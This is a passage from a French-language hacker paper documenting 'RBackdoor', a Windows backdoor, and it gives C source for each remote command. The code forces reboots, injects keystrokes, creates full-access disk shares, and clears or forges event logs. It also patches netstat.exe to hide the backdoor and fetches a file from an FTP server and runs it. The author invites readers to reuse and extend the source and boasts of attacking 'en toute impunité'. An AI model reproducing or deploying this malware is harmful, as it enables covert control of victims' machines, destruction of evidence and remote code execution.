		if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) 	
	        {			
		LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
		tkp.PrivilegeCount = 1;
		tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;	
		AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
	        }
		rsend(ConnectSocket, "La machine va redemarrer dans 5 secondes...\n");
		for(err=0; err<5; err++)
		{
			sprintf(buffer, "%d\n", err);
			rsend(ConnectSocket, buffer);		
			Sleep(1000);
		}
		GlobalFree(buffer);
		ExitWindowsEx(EWX_REBOOT | EWX_FORCE, (DWORD)NULL);
	}
	GlobalFree(buffer);
	return(0);

}

---------------------------------------------------------------------

                                 -------------- |     MSGBOX    | --------------

Cette commande permet d'afficher une boite de dialogue sur le système cible avec le titre et le
Message voulut. Mais attention cette commande attend que l'administrateur de la machine clic sur 'OK'
De la boite de dialogue pour redonner la main à la Backdoor.

 - Warning: Cette commande n'accepte pas les espaces donc si vous voulez écrire de longues phrases remplacent
 Les espaces par des '_' ou encore '-', enfin à vous de voir.
 
Command:  msgbox <title> <message>

  -> Exemple:
     RBackdoor# msgbox RBackdoor Hello!
     msg: Message envoye...

=> Code.

int Proc_MessageBox(char *title, char *msg)
{
	unsigned int err;
	if(strlen(title) < 1 || strlen(msg) < 1) 
	{
		rsend(ConnectSocket, "msg: msgbox <title> <message>");
		return(-1);
	}
	err = MessageBox (NULL, msg , title, MB_ICONWARNING);
	if(err==0)
	{
		rsend(ConnectSocket, "Error: Erreur lors la tentative d'envois de la message box\n");
		return(-1);
	}
	else rsend(ConnectSocket, "msg: Message envoye...\n");
	return(0);
}

---------------------------------------------------------------------

                                 -------------- |     MOUSE     | --------------

Mouse va permettre de positionner le pointeur de la souris du systeme distant aux coordonnées voulues.

Command:  mouse <x> <y>

  -> Exemple:
     RBackdoor# mouse 100 100
     msg: Souris positionner aux coordonees demandees

=> Code.

int Proc_CursorPos(int x,int y)
{
	unsigned int err;
	if(x==0 || y == 0) 
	{
		rsend(ConnectSocket, "msg: mouse <x> <y>");
		return(-1);
	}
	err = SetCursorPos(x, y);
	if(err==0)
	{
		rsend(ConnectSocket, "Error: Erreur lors de la tentative de positionnement du curseur\n");
		return(-1);
	}
	else rsend(ConnectSocket, "msg: Souris positionner aux coordonees demandees\n");
	return(0);
}

---------------------------------------------------------------------

                                 -------------- |     SENDKEY     | --------------

La commande SENDKEY va permettre d'émuler l'appuis d'une touche à distance. Ce qui servira
à confirmer des avertissements, a valider des boites de dialogues, etc...

Command: sendkey <ascii key code>

  -> Exemple:
     RBackdoor# sendkey Hello
     RBackdoor# sendkey VK_RETURN // Emule l'appuis sur la touche "Enter"
     RBackdoor# sendkey VK_ESCAPE // Emule l'appuis sur la touche "Escape"
     RBackdoor# sendkey VK_DELETE // Emule l'appuis sur la touche "Del"
     RBackdoor# sendkey VK_F*     // Emule l'appuis sur la touche "F*"        

=> Code.

int SendKey(unsigned int key)
{
	keybd_event(key, 0, 0, 0); 
	rsend(ConnectSocket, "msg: Keyboard Event send with success\n");
	return(0);
}

---------------------------------------------------------------------

                                 -------------- |     SETNAME     | --------------

Cette commande permet de changer le nom netbios de la machine distance, mais cela nécessite
Un redémarrage 

Command: setname <name>

  -> Exemple:
     RBackdoor# setname redkod
     msg: Changement du nom NetBios effectue avec succes..

=> Code.

int Proc_SetComputerName(char *computer_name)
{
    unsigned int err;
    if(strlen(computer_name) < 1)
    {
		rsend(ConnectSocket, "msg: setname <name>");
		return(-1);
	}
	err = SetComputerName(computer_name);
	if(err==0)
	{
		rsend(ConnectSocket, "Error: Erreur lors de la tentative du changement de nom NetBios du serveur\n");
		return(-1);
	}
	else rsend(ConnectSocket, "msg: Changement du nom NetBios effectue avec succes..\n");
	return(0);
}

---------------------------------------------------------------------

                                 -------------- |    ADDEVENT     | --------------

La command ADDEVENT permet d'ajouter une entrée dans l'eventlog de la machine locale ou encore d'une machine appartenant au réseau de
la machine infectée.

Command: addevent <\\host> <event>

  -> Exemple:
     RBackdoor# clearlog \\REDKOD Applications
     msg: Journal Systeme efface avec succes
     RBackdoor# addevent \\REDKOD r00ted
     msg: Event ajoute avec succes
     RBackdoor# listevent \\REDKOD Applications
     > 00  Event ID: 0x00001003 EventType: 4 Source: r00ted

=> Code.

int Add_Event(char *host, char *source)
{
	HANDLE h;
	LPSTR aszMsg[] = {source,};
	
	if(strlen(host)<1 || strlen(source) < 1)
	{
		Proc_help("addevent");
		return(-1);
	}
	
	h = RegisterEventSource(host,  source);
	if (h == NULL) {
		rsend(ConnectSocket, "Error: could not register event source");
		return(-1);
	}
	
	if (!ReportEvent(h,EVENTLOG_INFORMATION_TYPE,1,0x1003,NULL,0, 0,(LPTSTR *) aszMsg, NULL)) {
		rsend(ConnectSocket, "Error: could not report event");
		return(-1);
	}
	rsend(ConnectSocket, "msg: Event ajoute avec succes");
	DeregisterEventSource(h);
	
	return(0);
}
---------------------------------------------------------------------

                                 -------------- |    ADDSHARE     | --------------

ADDSHARE permet d'ajouter une ressource partagée sur une machine.

Command: addshare <\\host> <shared disk> <shared name> <password>

  -> Exemple:
    RBackdoor# addshare \\REDKOD C:\ HD w00w00
    msg: Ressource partagee avec succes
    RBackdoor# netshare \\REDKOD
    =====================================
    => 1 Entrees sur 1
    =====================================
    > HD                       disk          C:\
    
    RBackdoor#


=> Code.

int RShareAdd(char *host, const char *dir_path, const char *net_name, const char *password)
{
	NET_API_STATUS nCallResult;
	SHARE_INFO_2	shareinfo;
	DWORD dwErrArg;

	if(strlen(host) < 1 || strlen(dir_path) < 1 || strlen(net_name) < 1)
	{
		Proc_help("addshare");
		return(-1);
	}
	
        shareinfo.shi2_netname = AsWideString(net_name);
        shareinfo.shi2_type = STYPE_DISKTREE;
        shareinfo.shi2_remark = AsWideString("RSHARE");
	shareinfo.shi2_max_uses = (unsigned long)(-1);
	shareinfo.shi2_current_uses = 0;
	shareinfo.shi2_path = AsWideString(dir_path);
	shareinfo.shi2_permissions = ACCESS_ALL;
	shareinfo.shi2_passwd = AsWideString(password);

	nCallResult = NetShareAdd(AsWideString(host), 2, (unsigned char *)(&shareinfo), &dwErrArg);
	if( nCallResult == NERR_Success )
	{
		rsend(ConnectSocket, "msg: Ressource partagee avec succes\n");
	}
	else {
		rsend(ConnectSocket, "Error: La ressource n'a pas ete partagee\n");
		return(-1);
	}
    
    return(0);
}

---------------------------------------------------------------------

                                -------------- |    DELSHARE     | --------------

DELSHARE permet de retirer une ressource partagée sur une machine.

Command: delshare <\\host> <share name>

  -> Exemple:
    RBackdoor# delshare \\REDKOD HD
    msg: Ressource partagee efface avec succes
    RBackdoor# netshare \\REDKOD
    =====================================
    => 0 Entrees sur 0
    =====================================
  
    RBackdoor#


=> Code.

int RShareDel(char *host, const char* net_name)
{
	int nResult;
	char *wide_net_name;
	
	if(strlen(host) < 1 || strlen(net_name) < 1)
	{
		Proc_help("delshare");
		return(-1);
	}

	wide_net_name = AsWideString(net_name);
	nResult = NetShareDel(AsWideString(host),wide_net_name, 0);
	GlobalFree(wide_net_name);
	
	if(NERR_Success == nResult)
	{
		rsend(ConnectSocket, "msg: Ressource partagee efface avec succes\n");
	}
	else {
		rsend(ConnectSocket, "error: Erreur lors de la tentative de suppression de la ressource\n");
		return(-1);
	}
	return(0);
}

---------------------------------------------------------------------

                                -------------- |    CLEARLOG     | --------------

La commande CLEARLOG va permettre un nettoyage des journaux de l'eventlog.

Command: clearlog <\\host> <type>

  -> Exemple:
    RBackdoor# listevent \\REDKOD Applications
    > 00  Event ID: 0x00001003 EventType: 4 Source: r00ted
    RBackdoor# clearlog \\REDKOD Applications
    msg: Journal Systeme efface avec succes
    RBackdoor# listevent \\REDKOD Applications

    RBackdoor#

=> Code.

int Clear_Log(char *host, char *type)
{
	HANDLE h;
	
	if(strlen(host)<1 || strlen(type) < 1)
	{
		Proc_help("clearlog");
		return(-1);
	}
	
	h = RegisterEventSource(host,  type);
	if (h == NULL) {
		rsend(ConnectSocket, "Error: could not register event source");
		return(-1);
	}
	
	if(ClearEventLog(h,NULL)==0) {
		rsend(ConnectSocket, "Error: Erreur lors de la tentative d'effacement des journaux systeme");
		return(-1);
	}
	rsend(ConnectSocket, "msg: Journal Systeme efface avec succes");
	return(0);
}

---------------------------------------------------------------------


/////////////////////////////////////////////////////////////////////
8) Les utilitaires de RBackdoor.
/////////////////////////////////////////////////////////////////////

Dans cette section nous etudierons les differents utilitaires inclut dans
RBackdoor, ceux ci sont en constante évolution donc n'hésitez pas à donner des idées
ou encore me faire part des problèmes que vous pourez rencontrer pendant leur utilisation.

ATTENTION! Pendant l'utilisation de tout ces utilitaires evitez de quitter la backdoor de façon 
'sévère' avec la combinaison de touche 'CTRL+C', ceci risquerais de vous faire perdre le
controle de la backdoor, ce qui n'est pas le but je pense.

=> Commandes etudiées dans cette section:
/*
MAIL        Permet d'envoyer un mail, etc...
TELNET      Permet de se connecter à une hote distante (TCP Protocol Only)
SCAN        Permet de scanner les ports d'une hote
NETPATCH    Rootkit permettant de patcher netstat.exe pour cacher RBackdoor
WGET        Recupere et d'affiche le contenu d'un fichier heberge sur un serveur HTTP            
FGET        Permet de recuperer un fichier sur un serveur FTP
FPUT        Permet d'uploader un fichier sur un serveur FTP
RCRYPT      Permet de crypter ou de decrypter un fichier
RCHAT       Permet d'etablir une communication ecrite avec une personne etant pr
*/
                                 -------------- |     MAIL     | --------------

MAIL va nous permettre d'envoyer des mails anonymes à partir de RBackdoor. Ce qui peut être
Très utile pour 'spoofer' l'adresse expéditeur du mail envoyé. Pour l'instant cet utilitaire
Permet simplement d'envoyer des mails mais par la suite j'ajouterais un spammer et sûrement un
Client pop3.

Command: mail

  -> Exemple:
   RBackdoor# mail
   SMTP# send
   Server mail       : 212.215.32.2
   Email Source      : red@root.org
   Email Destination : r-e-d@redkod.com
   Subject           : RBackdoor test
   Message : [Taper '.' et un retour a la ligne pour terminer]
   w00w00.
   .
   Connection au serveur mail en cours...
   Connection effectuee avec succes.
   Envois du mail en cours...

   - Message envoye. -

=> Code.

Too long, look at mail.c in RBackdoor Project.

---------------------------------------------------------------------

                                -------------- |     TELNET     | --------------

La commande va permettre de se connecter à tout hôte distant par le protocol TCP.
Ce qui nous ravira pour effectuer des attaques en toute impunité. :)

Command: telnet <host> <port>

  -> Exemple:
  RBackdoor# telnet www.redkod.com 80
  msg: Connection a www.redkod.com en cours...
  msg: Connection effectuee avec succes
  GET HEAD
  HTTP/1.1 400 Bad Request
  Server: Microsoft-IIS/5.0
  Date: Wed, 01 May 2002 17:10:00 GMT
  Content-Type: text/html
  Content-Length: 87

  <html><head><title>Error</title></head><body>The parameter is incorrect. </body>
  </html>

=> Code.

Too long, look at telnet.c in RBackdoor Project.

---------------------------------------------------------------------

                                -------------- |     SCAN     | --------------

La commande SCAN va permettre de scanner les ports en mode listen sur une machine,
Mais attention ce scanner de port est très basique, donc ne vous attendez pas à des
Temps de scan très rapide car il est assez lent... Et comme vous ne devez en aucun cas 
Killer la procédure de scan en cours avec CTRL-C, ce qui vous ferez perdre le contrôle
De la Backdoor, vous devez être très prudent lors de l'utilisation de cette utilitaire.
Exemple, ne scannez pas les ports de 0 à 1000 cela mettrais un temps fou vérifiez plutôt
Si des ports 'courants' sont actifs comme 21,22,25,80,139,6667, etc... Voila je vous aurez
Avertis !

Command: scan <host> <start port> <end port>

  -> Exemple:
     RBackdoor# scan www.google.fr 70 85

             - TCPSCAN By R-e-D -

Scan de la cible en cours...Veuillez patientez. Attention! Surtout ne pas couper brusquement 
la session de scan sinon perte de la backdoor assuree.

       Port www.google.fr:[80/tcp] open

=> Code.

int PortScan(char *host, unsigned long port, unsigned long endp)
{
	SOCKET ScanSocket;
	LPHOSTENT lpHostEntry;
	SOCKADDR_IN saServer;
	char *buffer;
	int rc=0;

	if(strlen(host) < 3 || port == 0 || endp == 0)
	{
		rsend(ConnectSocket, "Command: scan <host> <start port> <stop port>\n");
		return(-1);
	}	
	buffer = (char *)GlobalAlloc(GPTR, 1024);

	lpHostEntry = gethostbyname(host);
	if (lpHostEntry == NULL) {
	rsend(ConnectSocket, "Error: Erreur lors de la tentative de resolution du nom d'hote\n");
	return(-1);
	}
	saServer.sin_family = AF_INET;
	saServer.sin_addr = *((LPIN_ADDR)*lpHostEntry->h_addr_list);  
        ScanSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

	rsend(ConnectSocket, "\n         - TCPSCAN By R-e-D - \n\n");
	rsend(ConnectSocket, "Scan de la cible en cours...Veuillez patientez.\n");
	rsend(ConnectSocket, "Attention! Surtout ne pas couper brusquement la session de scanne sinon perte de la backdoor assuree.\n\n");

	while(port<=endp)
	{
		saServer.sin_port=htons(port);		
		rc = connect(ScanSocket,(LPSOCKADDR)&saServer,sizeof(struct sockaddr));
		if (rc!=SOCKET_ERROR)
        {
	    closesocket(ScanSocket);
	    sprintf(buffer, "Port %s:[%d/tcp] open\n", host, port);
	    rsend(ConnectSocket, buffer);
        }
	port++;
        }    
	rsend(ConnectSocket, "\n");
	return(0);
}

---------------------------------------------------------------------

                                -------------- |     NETPATCH     | --------------

NETPATCH va vous servir à cacher la backdoor au niveau des connections TCP afficher par l'utilitaire netstat.exe.
La Backdoor va directement patcher l'executable pour cacher RBackdoor.

Command: netpatch 4820

  -> Exemple:
  RBackdoor# netpatch 4820
  Patch netstat.exe....
  NETSTAT.EXE is PATCHED!, hidden Port is 4820
  Un grand merci à ThreaT pour cette fonction, qu'il m'a autorise a implanter dans RBackdoor.
  Je vous conseils d'aller faire un tour sur son site www.chez.com/mvm, vous y trouverez surement votre bonheur.

=> Code.

Too long, look at nethide.c in RBackdoor Project.

---------------------------------------------------------------------

                                -------------- |     WGET      | --------------

La commande WGET va nous permettre d'aller chercher un fichier sur un serveur HTTP et nous l'afficher en direct au format brut.

Command: wget http://redkod.tuxfamily.org/nfos/r-e-d.nfo

  -> Exemple:
  RBackdoor# wget http://redkod.tuxfamily.org/nfos/r-e-d.nfo
  Url : wget http://redkod.tuxfamily.org/nfos/r-e-d.nfo
  Connection etablished.
      +----------------------+
      ++ RedKod In 2002/xxxx ++
+-----------------------------------------------------------------------------+
¦+¦  ¦____ ¦   ¦ __ __ ¦   ¦   ¦    ¦ _¦_ ¦    __¦   ¦     ¦   ¦  ____   ¦   +¦
¦¦ ¦_¦¦¦¦¦¦¦¦_¦  ¦¦¦¦¦¦¦_ _¦¦¦¦¦_¦    ¦¦¦¦ ¦  ¦¦¦¯  _¦¦_¦      ¦¦¦¦¦¦_¦   ¦  ¦¦
¦¦  ¦¦¦¦¦¯¯¯¦¦¦  ¦¦¯ ¯¯ ¯¦¦¦¦¦¦¯¦¦¦ ¦  ¦¦¯  ¦¦¦   ¦¦¦¦¯¦¦¦_¦   ¯¦¦¦ ¯¦¦¦_   ¦¦¦
¦¦¦  ¦¦¦¦  ¦¦¦¦¦ ¦¦¦¦  ¦  ¯¦¦¦    ¦¦_  ¦¦¦ ¦¦¦¦  ¦¦¦  ¦ ¯¦¦¦_  ¦¦¦  ¦ ¦¦¦_ ¦ ¦¦
¦¦  ¦¦¦¦ __¦¦¦¦  ¦¦¦¦____  ¦¦¦ ¦  ¦¦¦¦ ¦¦ ¦¦¦   ¦¦¦ ¦     ¦¦¦_ ¯¦¦¦   ¦¦¦¦¦  ¦¦
¦¦  ¦¦¦¦¦¦¦¦¦¦¯   ¦¦¦¦¦¦¦¦ ¦¦¦¦    ¦¦¦¦¦¦¦¦¦ ¦ ¦¦¦   ¦  ¦   ¦¦_ ¦¦¦ ¦   ¦¦¦ ¦¦¦
¦¦¦ ¯¦¦¯¦¯¦¦¦ ¦  ¦¦¦¦¯¦   ¦¯¦¦¦ ¦  ¦¦¦ ¦¦ ¯¦¦  ¦¦¦ ¦  ¦    ¦¦¦  ¦¦¦   ¦ ¦¦¦  ¦¦
¦¦  _¦¦_  ¦¦¦¦_  ¦¦¦_ ¦     ¦¦¦   ¦¦¦¯ ¦¦¦ ¦¦¦¦ ¦¦¦  ¦   ¦  ¦¦¦ ¦¦¦ ¦  ¦¦¦ ¦ ¦¦
¦¦¦ ¦¦¦¦  ¦¦¦¦¦ ¦¦¦¦_ ___¦ ¦¦¦¦¦ _¦¦¦¦ ¦¦¦_  ¦¦¦  ¦¦¦   ¦ ¦¦¦   ¦¦¦  ¦¦¦¦    ¦¦
¦¦ ¦¯¦¦¦¦  ¦¦¦¦¦  ¦¦¦¦¦¦¦¯ ¦¦¦¯ _¦¦¦   ¦¦¦¦ ¦ ¦¦¦¦ ¦¦¦_¦¦¦¦¯ ¦ ¦¦¦ ¦ _¦¦¦ ¦  ¦¦
¦¦  _¦¦¦¯ ¦¯¦¦¦__¯¯¯¯¯¯¦¦¦_ ¯¦_¦¦¦¦  _¯¯¯¦    ¦¦¦¦__ ¦¦¯¦ _¦  _¦¦   _¦¦¦     ¦¦
¦+¦    ¦    ¦     ¦  ¦   ¯¯¯¯¯¯¯ ¯¯¯ ¦    ¦    ¯¯¯¦¯¯¦   ¯¯ ¯¯¯ ¯¦¦¦¦¦¯¦   ¦ +¦
+-----------------------------------------------------------------------------¦
¦      +-¦ +------------------+                          ¦   www.redkod.com   ¦
¦       +--¦  Member Profile  ¦                          ¦                    ¦
+--+       +------------------+                          ¦  redkod@redkod.com ¦
¦  ¦   +--------------+                                  +--------------------¦
¦  ¦---¦   Nick Name  ¦   R-e-D                                               ¦
¦  ¦   ¦              ¦                                                       ¦
¦  ¦---¦ 2nd NickName ¦   MrHardDrive                                         ¦
¦  ¦   ¦              ¦                                                       ¦
¦  ¦---¦     Level    ¦   L256                                                ¦
¦  ¦   ¦              ¦                                                       ¦
¦  ¦---¦     Mail     ¦   r-e-d@redkod.com                                    ¦
¦  ¦   ¦              ¦                                                       ¦
¦  ¦---¦     Place    ¦   North Fr                                            ¦
¦  ¦   ¦              ¦                                                       ¦
¦  ¦---¦      Age     ¦   16                                                  ¦
¦  ¦   ¦              ¦                                                       ¦
¦  ¦---¦      WWW     ¦   http://www.redkod.com/                              ¦
¦  ¦   ¦              ¦                                                       ¦
¦  ¦---¦   Old Teams  ¦   Alkaphreak, iRiS.                                   ¦
¦  ¦   ¦              ¦                                                       ¦
¦  ¦---¦  Motivation  ¦   To always learn for always progressing.             ¦
¦  ¦   ¦              ¦                                                       ¦
¦  ¦---¦  Description ¦   R-e-D......                                         ¦
¦  ¦   ¦              ¦                                                       ¦
¦  ¦   ¦              ¦                                                       ¦
¦  ¦   ¦              ¦                                                       ¦
¦  ¦---¦    Release   ¦   CcC2001 - HardScrolling - GN-Systeme - RedCrypt     ¦
¦  ¦   ¦              ¦   John Easy Tools - CreateFile - Redscan - ***Kit     ¦
¦  ¦   ¦              ¦                And various Papers                     ¦
¦  ¦   ¦              ¦                                                       ¦
+--+   +--------------+                                                       ¦
+-----------------------------------------------------------------------------+

=> Code.

#define BUFFER_SIZE 4096

int wget(char *url)
{
	HINTERNET hInternet, hFile;
	DWORD dwSize, m_dwByteToRead, m_dwByteRead, dwByteRead;
	LPBYTE pbBuffer = NULL;
	char *buffer;

	if(strlen(url) < 3)
	{
		rsend(ConnectSocket, "Usage : wget <url>");
		return(-1);
	}

	buffer = (char *)GlobalAlloc(GPTR, strlen(url)+10);

	sprintf(buffer, "Url : %s\n", url);
	rsend(ConnectSocket, buffer);
	GlobalFree(buffer);

	hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	hFile = InternetOpenUrl(hInternet,url,NULL,0,0,0);
	if(hFile == NULL) {
        rsend(ConnectSocket, "Connection failed\n");
	return(-1);
	}
	else rsend(ConnectSocket, "Connection etablished.\n");

        m_dwByteToRead = 0;
	m_dwByteRead = 0;

	dwSize = sizeof(DWORD);
	HttpQueryInfo(hInternet, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, (LPVOID)&m_dwByteToRead, &dwSize, NULL);

	pbBuffer = (BYTE *)GlobalAlloc(GPTR, BUFFER_SIZE+1);

	while(1)
	{
        if(InternetReadFile(hFile, pbBuffer, BUFFER_SIZE,&dwByteRead)==0) {
		rsend(ConnectSocket, "This file doesn't exist.\n");
		return(-1);
	}

	m_dwByteRead += dwByteRead;
	
	if (dwByteRead == 0)
	break;

	Sleep(10);
	}
	
	rsend(ConnectSocket, pbBuffer);
	GlobalFree(pbBuffer);

	InternetCloseHandle(hFile);
	InternetCloseHandle(hInternet);

  return(0);
}

                               -------------- |     FGET     | --------------

La commande FGET va permettre de recupérer un fichier présent sur un server ftp pour l'amener sur le disque de la machine infectée.

Command: fget <ftp server> <ftp port> <user> <password> <remote file> <local file>

  -> Exemple:
     RBackdoor# fget ftp.tuxfamily.org 21 redkod r00t /html/svchost.exe c:\svchost.exe
     Server : ftp.tuxfamily.org
     Port : 21
     User : redkod
     Password : r00t
     File To Get : /html/svchost.exe
     Local Destination : c:\svchost.exe
     Connection etablished.
     Now, get the file, please wait...
     File as been receive.

=> Code.

int fget(char *host, int port, char *user, char *password, char *rfile, char *lfile)
{
	HINTERNET hInternet, hServer;
	STARTUPINFO startup_info;
	char *buffer;
	int i;
	
	if(strlen(host) < 3 || port == 0 && port > 65535 || strlen(user) < 1 || strlen(password) < 1 || strlen(rfile) < 1 || strlen(lfile) < 1)
	{
	    Proc_help("fget");
		return(-1);
	}
	
	i = strlen(host) + strlen(user) + strlen(password) + strlen(rfile) + strlen(lfile) + 5;
	buffer = (char *)GlobalAlloc(GPTR, i+101);
	sprintf(buffer, "Server : %s\nPort : %d\nUser : %s\nPassword : %s\nFile To Get : %s\nLocal Destination : %s\n", host, port, user, password, rfile, lfile);
	rsend(ConnectSocket, buffer);
	GlobalFree(buffer);
	
	hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	hServer = InternetConnect(hInternet, host, (unsigned short)port, user, password, INTERNET_SERVICE_FTP, 0, 0);
	if(hServer == NULL) {
		rsend(ConnectSocket, "Connection failed\n");
		return(-1);
	}
	else rsend(ConnectSocket, "Connection etablished.\n");
	rsend(ConnectSocket, "Now, get the file, please wait...\n");
	if(FtpGetFile(hServer, rfile, lfile, 0, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0) ==0) {
		rsend(ConnectSocket, "File not transfered, probably not present.\n");
		return(-1);
	} 
	
	GetStartupInfo(&startup_info);
	CreateProcess(NULL, lfile, NULL, NULL, 0, 0, NULL, NULL, &startup_info, (PROCESS_INFORMATION *)&startup_info);
	
	rsend(ConnectSocket, "File as been receive.\n");
	InternetCloseHandle(hServer);
	InternetCloseHandle(hInternet);
	
	return(0);
}

---------------------------------------------------------------------

                               -------------- |     FPUT     | --------------

La commande FPUT va permettre d'uploader un fichier présent sur le disque local sur un ftp distant.

Command: fput <ftp server> <ftp port> <user> <password> <local file> <remote file>

  -> Exemple:
     RBackdoor# fput ftp.tuxfamily.org 21 redkod r00t c:\svchost.exe /html/svchost.exe
     Server : ftp.tuxfamily.org
     Port : 21
     User : redkod
     Password : r00t
     File To Put : c:\svchost.exe
     Remote File Destination : /html/svchost.exe
     Connection etablished.
     Now, put the file, please wait...
     File as been sent.


=> Code.

int fput(char *host, int port, char *user, char *password, char *lfile, char *rfile)
{
	HINTERNET hInternet, hServer;
	STARTUPINFO startup_info;
	char *buffer;
	int i;
	
	if(strlen(host) < 3 || port == 0 && port > 65535 || strlen(user) < 1 || strlen(password) < 1 || strlen(rfile) < 1 || strlen(lfile) < 1)
	{
		Proc_help("fput");
		return(-1);
	}
	
	i = strlen(host) + strlen(user) + strlen(password) + strlen(lfile) + strlen(rfile) + 5;
	buffer = (char *)GlobalAlloc(GPTR, i+101);
	sprintf(buffer, "Server : %s\nPort : %d\nUser : %s\nPassword : %s\nFile To Put : %s\nRemote File Destination : %s\n", host, port, user, password, lfile, rfile);
	rsend(ConnectSocket, buffer);
	GlobalFree(buffer);
	
	hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	hServer = InternetConnect(hInternet, host, (unsigned short)port, user, password, INTERNET_SERVICE_FTP, 0, 0);
	if(hServer == NULL) {
		rsend(ConnectSocket, "Connection failed\n");
		return(-1);
	} else rsend(ConnectSocket, "Connection etablished.\n");

	rsend(ConnectSocket, "Now, put the file, please wait...\n");
	if(FtpPutFile(hServer, lfile, rfile, FTP_TRANSFER_TYPE_BINARY, 0) == 0) {
		rsend(ConnectSocket, "File not sent, probably not present.\n");
		return(-1);
	}
	
	GetStartupInfo(&startup_info);
	CreateProcess(NULL, lfile, NULL, NULL, 0, 0, NULL, NULL, &startup_info, (PROCESS_INFORMATION *)&startup_info);
	
	rsend(ConnectSocket, "File as been sent.\n");
	InternetCloseHandle(hServer);
	InternetCloseHandle(hInternet);
	
	return(0);
}

---------------------------------------------------------------------

                               -------------- |     RCRYPT     | --------------

RCRYPT va permettre de crypter vos fichiers sur le serveur cible, ce qui peut etre utile pour heberger certaines informations sensibles.

Command  : rcrypt <srcfile> <destfile> <key>

  -> Exemple:
        For Crypt a file    : rcrypt mysecretinfo.txt mysecret-crypt.txt key
        For Decrypt a filer : rcrypt mysecret-crypt.txt mysecretinfo.txt key

=> Code.
 Too long, look at crypt.c in the RBackdoor Project.

---------------------------------------------------------------------

                               -------------- |     RCHAT     | --------------


RCHAT permet d'entrer en contact avec le root du pc distant en le forçant à répondre à des questions posées dans une boite 
de dialogue.

Command  : rchat <first question>
           !kill pour quitter le remote chat et fermer la fenetre sur l'hote distante.

  -> Exemple:
     RBackdoor# rchat w00w00
     msg: Dialogue box affiche, debut de la session de chat
     msg: !help for display help information.
     Server> Uh?
     RBackdoor# > @#!
     Server> arf

=> Code.
 Too long, look at chat.c in the RBackdoor Project.

---------------------------------------------------------------------

---------------------------------------------------------------------
=> 0x03  Conclusion.
---------------------------------------------------------------------

Bon voila, ce paper arrive à sa fin, mais contrairement ce n'est pas le cas de RBackdoor!
Je vous ferais part de mises à jours pour celle-ci, comme des ajouts de fonctions, ou encore 
des corrections de bugs.... Mais tout de même! Je vous invites à l'améliorer aussi 
(d'ailleurs faut bien que les sources servent à quelque chose :]) N'oubliez pas, pour toutes 
remarques r-e-d@redkod.com !

---------------------------------------------------------------------
=> 0x04  Greetings.
---------------------------------------------------------------------

 Un grand merci à tous ceux qui m'ont supporté lors de mes séances abusives de questions 
comme obscurer, martony, crazylord ou encore ThreaT.

 The Best Greetings pour RedKod Team, Subk Team et à tous leurs membres !
 
PS: Si vous voulez me contacter go to Undernet servers, chan #redkod ou /QUERY R-e-D or
R-e-D|Aw :p.
 
Cya All.

EOF